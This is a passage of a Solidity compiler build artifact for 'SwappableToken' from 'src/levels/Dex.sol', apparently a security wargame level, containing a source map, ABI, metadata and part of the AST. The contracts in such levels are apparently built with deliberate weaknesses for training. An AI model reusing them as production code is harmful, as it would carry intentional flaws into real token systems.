;4091:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;3976:149;2006:178:67;;;;;;:::i;:::-;;:::i;:::-;;2156:98:30;2210:13;2242:5;2235:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2156:98;:::o;4433:197::-;4516:4;719:10:34;4570:32:30;719:10:34;4586:7:30;4595:6;4570:8;:32::i;:::-;4619:4;4612:11;;;4433:197;;;;;:::o;5192:286::-;5319:4;719:10:34;5375:38:30;5391:4;719:10:34;5406:6:30;5375:15;:38::i;:::-;5423:27;5433:4;5439:2;5443:6;5423:9;:27::i;:::-;-1:-1:-1;5467:4:30;;5192:286;-1:-1:-1;;;;5192:286:30:o;5873:234::-;719:10:34;5961:4:30;4091:18;;;:11;:18;;;;;;;;-1:-1:-1;;;;;4091:27:30;;;;;;;;;;5961:4;;719:10:34;6015:64:30;;719:10:34;;4091:27:30;;6040:38;;6068:10;;6040:38;:::i;:::-;6015:8;:64::i;2367:102::-;2423:13;2455:7;2448:14;;;;;:::i;6594:427::-;719:10:34;6687:4:30;4091:18;;;:11;:18;;;;;;;;-1:-1:-1;;;;;4091:27:30;;;;;;;;;;6687:4;;719:10:34;6831:15:30;6811:16;:35;;6803:85;;;;-1:-1:-1;;;6803:85:30;;3307:2:155;6803:85:30;;;3289:21:155;3346:2;3326:18;;;3319:30;3385:34;3365:18;;;3358:62;3456:7;3436:18;;;3429:35;3481:19;;6803:85:30;;;;;;;;;6922:60;6931:5;6938:7;6966:15;6947:16;:34;6922:8;:60::i;3729:189::-;3808:4;719:10:34;3862:28:30;719:10:34;3879:2:30;3883:6;3862:9;:28::i;2006:178:67:-;2105:4;;-1:-1:-1;;;;;2105:4:67;;;2096:13;;;;2088:41;;;;-1:-1:-1;;;2088:41:67;;3713:2:155;2088:41:67;;;3695:21:155;3752:2;3732:18;;;3725:30;3791:17;3771:18;;;3764:45;3826:18;;2088:41:67;3511:339:155;2088:41:67;2139:38;2154:5;2161:7;2170:6;2139:14;:38::i;:::-;2006:178;;;:::o;10110:370:30:-;-1:-1:-1;;;;;10241:19:30;;10233:68;;;;-1:-1:-1;;;10233:68:30;;4057:2:155;10233:68:30;;;4039:21:155;4096:2;4076:18;;;4069:30;4135:34;4115:18;;;4108:62;4206:6;4186:18;;;4179:34;4230:19;;10233:68:30;3855:400:155;10233:68:30;-1:-1:-1;;;;;10319:21:30;;10311:68;;;;-1:-1:-1;;;10311:68:30;;4462:2:155;10311:68:30;;;4444:21:155;4501:2;4481:18;;;4474:30;4540:34;4520:18;;;4513:62;4611:4;4591:18;;;4584:32;4633:19;;10311:68:30;4260:398:155;10311:68:30;-1:-1:-1;;;;;10390:18:30;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;10441:32;;1365:25:155;;;10441:32:30;;1338:18:155;10441:32:30;;;;;;;10110:370;;;:::o;10761:441::-;-1:-1:-1;;;;;4091:18:30;;;10891:24;4091:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;-1:-1:-1;;10957:37:30;;10953:243;;11038:6;11018:16;:26;;11010:68;;;;-1:-1:-1;;;11010:68:30;;4865:2:155;11010:68:30;;;4847:21:155;4904:2;4884:18;;;4877:30;4943:31;4923:18;;;4916:59;4992:18;;11010:68:30;4663:353:155;11010:68:30;11120:51;11129:5;11136:7;11164:6;11145:16;:25;11120:8;:51::i;:::-;10881:321;10761:441;;;:::o;7475:651::-;-1:-1:-1;;;;;7601:18:30;;7593:68;;;;-1:-1:-1;;;7593:68:30;;5223:2:155;7593:68:30;;;5205:21:155;5262:2;5242:18;;;5235:30;5301:34;5281:18;;;5274:62;5372:7;5352:18;;;5345:35;5397:19;;7593:68:30;5021:401:155;7593:68:30;-1:-1:-1;;;;;7679:16:30;;7671:64;;;;-1:-1:-1;;;7671:64:30;;5629:2:155;7671:64:30;;;5611:21:155;5668:2;5648:18;;;5641:30;5707:34;5687:18;;;5680:62;5778:5;5758:18;;;5751:33;5801:19;;7671:64:30;5427:399:155;7671:64:30;-1:-1:-1;;;;;7817:15:30;;7795:19;7817:15;;;;;;;;;;;7850:21;;;;7842:72;;;;-1:-1:-1;;;7842:72:30;;6033:2:155;7842:72:30;;;6015:21:155;6072:2;6052:18;;;6045:30;6111:34;6091:18;;;6084:62;6182:8;6162:18;;;6155:36;6208:19;;7842:72:30;5831:402:155;7842:72:30;-1:-1:-1;;;;;7948:15:30;;;:9;:15;;;;;;;;;;;7966:20;;;7948:38;;8006:13;;;;;;;;:23;;7980:6;;7948:9;8006:23;;7980:6;;8006:23;:::i;:::-;;;;;;;;8060:2;-1:-1:-1;;;;;8045:26:30;8054:4;-1:-1:-1;;;;;8045:26:30;;8064:6;8045:26;;;;1365:25:155;;1353:2;1338:18;;1219:177;8045:26:30;;;;;;;;8082:37;2006:178:67;14:548:155;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:196::-;635:20;;-1:-1:-1;;;;;684:54:155;;674:65;;664:93;;753:1;750;743:12;664:93;567:196;;;:::o;768:254::-;836:6;844;897:2;885:9;876:7;872:23;868:32;865:52;;;913:1;910;903:12;865:52;936:29;955:9;936:29;:::i;:::-;926:39;1012:2;997:18;;;;984:32;;-1:-1:-1;;;768:254:155:o;1401:328::-;1478:6;1486;1494;1547:2;1535:9;1526:7;1522:23;1518:32;1515:52;;;1563:1;1560;1553:12;1515:52;1586:29;1605:9;1586:29;:::i;:::-;1576:39;;1634:38;1668:2;1657:9;1653:18;1634:38;:::i;:::-;1624:48;;1719:2;1708:9;1704:18;1691:32;1681:42;;1401:328;;;;;:::o;1923:186::-;1982:6;2035:2;2023:9;2014:7;2010:23;2006:32;2003:52;;;2051:1;2048;2041:12;2003:52;2074:29;2093:9;2074:29;:::i;:::-;2064:39;1923:186;-1:-1:-1;;;1923:186:155:o;2114:260::-;2182:6;2190;2243:2;2231:9;2222:7;2218:23;2214:32;2211:52;;;2259:1;2256;2249:12;2211:52;2282:29;2301:9;2282:29;:::i;:::-;2272:39;;2330:38;2364:2;2353:9;2349:18;2330:38;:::i;:::-;2320:48;;2114:260;;;;;:::o;2379:437::-;2458:1;2454:12;;;;2501;;;2522:61;;2576:4;2568:6;2564:17;2554:27;;2522:61;2629:2;2621:6;2618:14;2598:18;2595:38;2592:218;;-1:-1:-1;;;2663:1:155;2656:88;2767:4;2764:1;2757:15;2795:4;2792:1;2785:15;2592:218;;2379:437;;;:::o;2821:279::-;2886:9;;;2907:10;;;2904:190;;;-1:-1:-1;;;2947:1:155;2940:88;3051:4;3048:1;3041:15;3079:4;3076:1;3069:15","linkReferences":{}},"methodIdentifiers":{"allowance(address,address)":"dd62ed3e","approve(address,address,uint256)":"e1f21c67","approve(address,uint256)":"095ea7b3","balanceOf(address)":"70a08231","decimals()":"313ce567","decreaseAllowance(address,uint256)":"a457c2d7","increaseAllowance(address,uint256)":"39509351","name()":"06fdde03","symbol()":"95d89b41","totalSupply()":"18160ddd","transfer(address,uint256)":"a9059cbb","transferFrom(address,address,uint256)":"23b872dd"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"dexInstance\",\"type\":\"address\"},{\"internalType\":\"string\",\"name\":\"name\",\"type\":\"string\"},{\"internalType\":\"string\",\"name\":\"symbol\",\"type\":\"string\"},{\"internalType\":\"uint256\",\"name\":\"initialSupply\",\"type\":\"uint256\"}],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"Approval\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"from\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"Transfer\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"}],\"name\":\"allowance\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"approve\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"approve\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"}],\"name\":\"balanceOf\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"decimals\",\"outputs\":[{\"internalType\":\"uint8\",\"name\":\"\",\"type\":\"uint8\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"subtractedValue\",\"type\":\"uint256\"}],\"name\":\"decreaseAllowance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"addedValue\",\"type\":\"uint256\"}],\"name\":\"increaseAllowance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"name\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"symbol\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"totalSupply\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"transfer\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"from\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"transferFrom\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"events\":{\"Approval(address,address,uint256)\":{\"details\":\"Emitted when the allowance of a `spender` for an `owner` is set by a call to {approve}. `value` is the new allowance.\"},\"Transfer(address,address,uint256)\":{\"details\":\"Emitted when `value` tokens are moved from one account (`from`) to another (`to`). Note that `value` may be zero.\"}},\"kind\":\"dev\",\"methods\":{\"allowance(address,address)\":{\"details\":\"See {IERC20-allowance}.\"},\"approve(address,uint256)\":{\"details\":\"See {IERC20-approve}. NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on `transferFrom`. This is semantically equivalent to an infinite approval. Requirements: - `spender` cannot be the zero address.\"},\"balanceOf(address)\":{\"details\":\"See {IERC20-balanceOf}.\"},\"decimals()\":{\"details\":\"Returns the number of decimals used to get its user representation. For example, if `decimals` equals `2`, a balance of `505` tokens should be displayed to a user as `5.05` (`505 / 10 ** 2`). Tokens usually opt for a value of 18, imitating the relationship between Ether and Wei. This is the value {ERC20} uses, unless this function is overridden; NOTE: This information is only used for _display_ purposes: it in no way affects any of the arithmetic of the contract, including {IERC20-balanceOf} and {IERC20-transfer}.\"},\"decreaseAllowance(address,uint256)\":{\"details\":\"Atomically decreases the allowance granted to `spender` by the caller. This is an alternative to {approve} that can be used as a mitigation for problems described in {IERC20-approve}. Emits an {Approval} event indicating the updated allowance. Requirements: - `spender` cannot be the zero address. - `spender` must have allowance for the caller of at least `subtractedValue`.\"},\"increaseAllowance(address,uint256)\":{\"details\":\"Atomically increases the allowance granted to `spender` by the caller. This is an alternative to {approve} that can be used as a mitigation for problems described in {IERC20-approve}. Emits an {Approval} event indicating the updated allowance. Requirements: - `spender` cannot be the zero address.\"},\"name()\":{\"details\":\"Returns the name of the token.\"},\"symbol()\":{\"details\":\"Returns the symbol of the token, usually a shorter version of the name.\"},\"totalSupply()\":{\"details\":\"See {IERC20-totalSupply}.\"},\"transfer(address,uint256)\":{\"details\":\"See {IERC20-transfer}. Requirements: - `to` cannot be the zero address. - the caller must have a balance of at least `amount`.\"},\"transferFrom(address,address,uint256)\":{\"details\":\"See {IERC20-transferFrom}. Emits an {Approval} event indicating the updated allowance. This is not required by the EIP. See the note at the beginning of {ERC20}. NOTE: Does not update the allowance if the current allowance is the maximum `uint256`. Requirements: - `from` and `to` cannot be the zero address. - `from` must have a balance of at least `amount`. - the caller must have allowance for ``from``'s tokens of at least `amount`.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/Dex.sol\":\"SwappableToken\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol\":{\"keccak256\":\"0x24b04b8aacaaf1a4a0719117b29c9c3647b1f479c5ac2a60f5ff1bb6d839c238\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://43e46da9d9f49741ecd876a269e71bc7494058d7a8e9478429998adb5bc3eaa0\",\"dweb:/ipfs/QmUtp4cqzf22C5rJ76AabKADquGWcjsc33yjYXxXC4sDvy\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol\":{\"keccak256\":\"0x9750c6b834f7b43000631af5cc30001c5f547b3ceb3635488f140f60e897ea6b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5a7d5b1ef5d8d5889ad2ed89d8619c09383b80b72ab226e0fe7bde1636481e34\",\"dweb:/ipfs/QmebXWgtEfumQGBdVeM6c71McLixYXQP5Bk6kKXuoY4Bmr\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/extensions/IERC20Metadata.sol\":{\"keccak256\":\"0x8de418a5503946cabe331f35fe242d3201a73f67f77aaeb7110acb1f30423aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5a376d3dda2cb70536c0a45c208b29b34ac560c4cb4f513a42079f96ba47d2dd\",\"dweb:/ipfs/QmZQg6gn1sUpM8wHzwNvSnihumUCAhxD119MpXeKp8B9s8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"src/levels/Dex.sol\":{\"keccak256\":\"0x165404494864adbe32c9a11790fb3ed27c4377cadc9094783ca2850191ca90b9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5fb11639949ca42fbf5013de302480c56fed463d375635f28a34650f4b721350\",\"dweb:/ipfs/QmdUHtCRqdSWYLpEDGvS8KW4WC7Di59eS3Zt6Y66HKdB1a\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"dexInstance","type":"address"},{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"symbol","type":"string"},{"internalType":"uint256","name":"initialSupply","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"owner","type":"address","indexed":true},{"internalType":"address","name":"spender","type":"address","indexed":true},{"internalType":"uint256","name":"value","type":"uint256","indexed":false}],"type":"event","name":"Approval","anonymous":false},{"inputs":[{"internalType":"address","name":"from","type":"address","indexed":true},{"internalType":"address","name":"to","type":"address","indexed":true},{"internalType":"uint256","name":"value","type":"uint256","indexed":false}],"type":"event","name":"Transfer","anonymous":false},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"stateMutability":"view","type":"function","name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"approve"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"stateMutability":"view","type":"function","name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}]},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"name","outputs":[{"internalType":"string","name":"","type":"string"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}]}],"devdoc":{"kind":"dev","methods":{"allowance(address,address)":{"details":"See {IERC20-allowance}."},"approve(address,uint256)":{"details":"See {IERC20-approve}. NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on `transferFrom`. This is semantically equivalent to an infinite approval. Requirements: - `spender` cannot be the zero address."},"balanceOf(address)":{"details":"See {IERC20-balanceOf}."},"decimals()":{"details":"Returns the number of decimals used to get its user representation. For example, if `decimals` equals `2`, a balance of `505` tokens should be displayed to a user as `5.05` (`505 / 10 ** 2`). Tokens usually opt for a value of 18, imitating the relationship between Ether and Wei. This is the value {ERC20} uses, unless this function is overridden; NOTE: This information is only used for _display_ purposes: it in no way affects any of the arithmetic of the contract, including {IERC20-balanceOf} and {IERC20-transfer}."},"decreaseAllowance(address,uint256)":{"details":"Atomically decreases the allowance granted to `spender` by the caller. This is an alternative to {approve} that can be used as a mitigation for problems described in {IERC20-approve}. Emits an {Approval} event indicating the updated allowance. Requirements: - `spender` cannot be the zero address. - `spender` must have allowance for the caller of at least `subtractedValue`."},"increaseAllowance(address,uint256)":{"details":"Atomically increases the allowance granted to `spender` by the caller. This is an alternative to {approve} that can be used as a mitigation for problems described in {IERC20-approve}. Emits an {Approval} event indicating the updated allowance. Requirements: - `spender` cannot be the zero address."},"name()":{"details":"Returns the name of the token."},"symbol()":{"details":"Returns the symbol of the token, usually a shorter version of the name."},"totalSupply()":{"details":"See {IERC20-totalSupply}."},"transfer(address,uint256)":{"details":"See {IERC20-transfer}. Requirements: - `to` cannot be the zero address. - the caller must have a balance of at least `amount`."},"transferFrom(address,address,uint256)":{"details":"See {IERC20-transferFrom}. Emits an {Approval} event indicating the updated allowance. This is not required by the EIP. See the note at the beginning of {ERC20}. NOTE: Does not update the allowance if the current allowance is the maximum `uint256`. Requirements: - `from` and `to` cannot be the zero address. - `from` must have a balance of at least `amount`. - the caller must have allowance for ``from``'s tokens of at least `amount`."}},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/Dex.sol":"SwappableToken"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol":{"keccak256":"0x24b04b8aacaaf1a4a0719117b29c9c3647b1f479c5ac2a60f5ff1bb6d839c238","urls":["bzz-raw://43e46da9d9f49741ecd876a269e71bc7494058d7a8e9478429998adb5bc3eaa0","dweb:/ipfs/QmUtp4cqzf22C5rJ76AabKADquGWcjsc33yjYXxXC4sDvy"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol":{"keccak256":"0x9750c6b834f7b43000631af5cc30001c5f547b3ceb3635488f140f60e897ea6b","urls":["bzz-raw://5a7d5b1ef5d8d5889ad2ed89d8619c09383b80b72ab226e0fe7bde1636481e34","dweb:/ipfs/QmebXWgtEfumQGBdVeM6c71McLixYXQP5Bk6kKXuoY4Bmr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/extensions/IERC20Metadata.sol":{"keccak256":"0x8de418a5503946cabe331f35fe242d3201a73f67f77aaeb7110acb1f30423aca","urls":["bzz-raw://5a376d3dda2cb70536c0a45c208b29b34ac560c4cb4f513a42079f96ba47d2dd","dweb:/ipfs/QmZQg6gn1sUpM8wHzwNvSnihumUCAhxD119MpXeKp8B9s8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"src/levels/Dex.sol":{"keccak256":"0x165404494864adbe32c9a11790fb3ed27c4377cadc9094783ca2850191ca90b9","urls":["bzz-raw://5fb11639949ca42fbf5013de302480c56fed463d375635f28a34650f4b721350","dweb:/ipfs/QmdUHtCRqdSWYLpEDGvS8KW4WC7Di59eS3Zt6Y66HKdB1a"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/Dex.sol","id":50854,"exportedSymbols":{"Context":[48281],"Dex":[50797],"ERC20":[47861],"IERC20":[47939],"IERC20Metadata":[47964],"Ownable":[46700],"SwappableToken":[50853]},"nodeType":"SourceUnit","src":"32:2155:67","nodes":[{"id":50572,"nodeType":"PragmaDirective","src":"32:23:67","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":50573,"nodeType":"ImportDirective","src":"57:58:67","nodes":[],"absolutePath":"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol","file":"openzeppelin-contracts-08/token/ERC20/IERC20.sol","nameLocation":"-1:-1:-1","scope":50854,"sourceUnit":47940,"symbolAliases":[],"unitAlias":""},{"id":50574,"nodeType":"ImportDirective","src":"116:57:67","nodes":[],"absolutePath":"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol","file":"openzeppelin-contracts-08/token/ERC20/ERC20.sol","nameLocation":"-1:-1:-1","scope":50854,"sourceUnit":47862,"symbolAliases":[],"unitAlias":""},{"id":50575,"nodeType":"ImportDirective","src":"174:54:67","nodes":[],"absolutePath":"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol","file":"openzeppelin-contracts-08/access/Ownable.sol","nameLocation":"-1:-1:-1","scope":50854,"sourceUnit":46701,"symbolAliases":[],"unitAlias":""},{"id":50797,"nodeType":"ContractDefinition","src":"230:1495:67","nodes":[{"id":50579,"nodeType":"VariableDeclaration","src":"260:21:67","nodes":[],"constant":false,"functionSelector":"d21220a7","mutability":"mutable","name":"token1","nameLocation":"275:6:67","scope":50797,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50578,"name":"address","nodeType":"ElementaryTypeName","src":"260:7:67","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":50581,"nodeType":"VariableDeclaration","src":"287:21:67","nodes":[],"constant":false,"functionSelector":"25be124e","mutability":"mutable","name":"token2","nameLocation":"302:6:67","scope":50797,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50580,"name":"address","nodeType":"ElementaryTypeName","src":"287:7:67","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":50585,"nodeType":"FunctionDefinition","src":"315:16:67","nodes":[],"body":{"id":50584,"nodeType":"Block","src":"329:2:67","nodes":[],"statements":[]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":50582,"nodeType":"ParameterList","parameters":[],"src":"326:2:67"},"returnParameters":{"id":50583,"nodeType":"ParameterList","parameters":[],"src":"329:0:67"},"scope":50797,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":50603,"nodeType":"FunctionDefinition","src":"337:129:67","nodes":[],"body":{"id":50602,"nodeType":"Block","src":"407:59:67","nodes":[],"statements":[{"expression":{"id":50596,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":50594,"name":"token1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50579,"src":"417:6:67","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":50595,"name":"_token1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclarati